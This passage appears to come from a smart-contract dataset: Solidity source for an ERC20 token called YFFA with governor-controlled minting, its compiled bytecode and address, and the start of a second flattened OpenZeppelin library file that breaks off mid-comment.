`spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "amount should be greater than 0"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); require(amount > 0, "amount should be greater than 0"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); require(amount > 0, "amount should be greater than 0"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract YFFA is ERC20 { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint; address private _governor; mapping (address => bool) private _minters; constructor () public ERC20("yearn.alpha.finance", "YFFA", 18) { _governor = msg.sender; _minters[msg.sender] = true; } modifier onlyGovernor() { require(msg.sender==_governor); _; } modifier onlyMinter() { require(_minters[msg.sender]==true); _; } function mint(address account, uint amount) public onlyMinter { _mint(account, amount); } function setGovernance(address governor) public onlyGovernor { _governor = governor; } function addMinter(address minter) public onlyGovernor { _minters[minter] = true; } function removeMinter(address minter) public onlyGovernor { _minters[minter] = false; } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806340c10f191161008c578063983b2d5611610066578063983b2d56146103eb578063a9059cbb1461042f578063ab033ea914610493578063dd62ed3e146104d7576100cf565b806340c10f19146102c257806370a082311461031057806395d89b4114610368576100cf565b806306fdde03146100d4578063095ea7b31461015757806318160ddd146101bb57806323b872dd146101d95780633092afd51461025d578063313ce567146102a1575b600080fd5b6100dc61054f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105f1565b60405180821515815260200191505060405180910390f35b6101c3610608565b6040518082815260200191505060405180910390f35b610245600480360360608110156101ef57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610612565b60405180821515815260200191505060405180910390f35b61029f6004803603602081101561027357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506106dd565b005b6102a9610792565b604051808260ff16815260200191505060405180910390f35b61030e600480360360408110156102d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107a9565b005b6103526004803603602081101561032657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610814565b6040518082815260200191505060405180910390f35b61037061085c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103b0578082015181840152602081019050610395565b50505050905090810190601f1680156103dd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61042d6004803603602081101561040157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108fe565b005b61047b6004803603604081101561044557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109b3565b60405180821515815260200191505060405180910390f35b6104d5600480360360208110156104a957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109ca565b005b610539600480360360408110156104ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a68565b6040518082815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105e75780601f106105bc576101008083540402835291602001916105e7565b820191906000526020600020905b8154815290600101906020018083116105ca57829003601f168201915b5050505050905090565b60006105fe338484610aef565b6001905092915050565b6000600254905090565b600061061f848484610ce6565b6106d284336106cd856040518060600160405280602881526020016113f760289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110129092919063ffffffff16565b610aef565b600190509392505050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461073757600080fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600560009054906101000a900460ff16905090565b60011515600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151461080657600080fd5b61081082826110d2565b5050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108f45780601f106108c9576101008083540402835291602001916108f4565b820191906000526020600020905b8154815290600101906020018083116108d757829003601f168201915b5050505050905090565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461095857600080fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006109c0338484610ce6565b6001905092915050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a2457600080fd5b80600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b75576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806114446024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610bfb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806113af6022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d6c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061141f6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610df2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061138c6023913960400191505060405180910390fd5b60008111610e68576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f616d6f756e742073686f756c642062652067726561746572207468616e20300081525060200191505060405180910390fd5b610ed3816040518060600160405280602681526020016113d1602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110129092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f66816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461130390919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008383111582906110bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611084578082015181840152602081019050611069565b50505050905090810190601f1680156110b15780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611175576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b600081116111eb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f616d6f756e742073686f756c642062652067726561746572207468616e20300081525060200191505060405180910390fd5b6112008160025461130390919063ffffffff16565b600281905550611257816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461130390919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600080828401905083811015611381576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212208e8232ef3a4d746859dd6173339b590cbbaeff143fb5e98b3e355afc8348410964736f6c634300060c0033
[ 38 ]
0xf218cb602b0f24dd5e246aa0058f2363f45eb04d
// Sources flattened with hardhat v2.5.0 https://hardhat.org // File @openzeppelin/contracts/token/ERC20/IERC20.sol@v4.1.0 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must 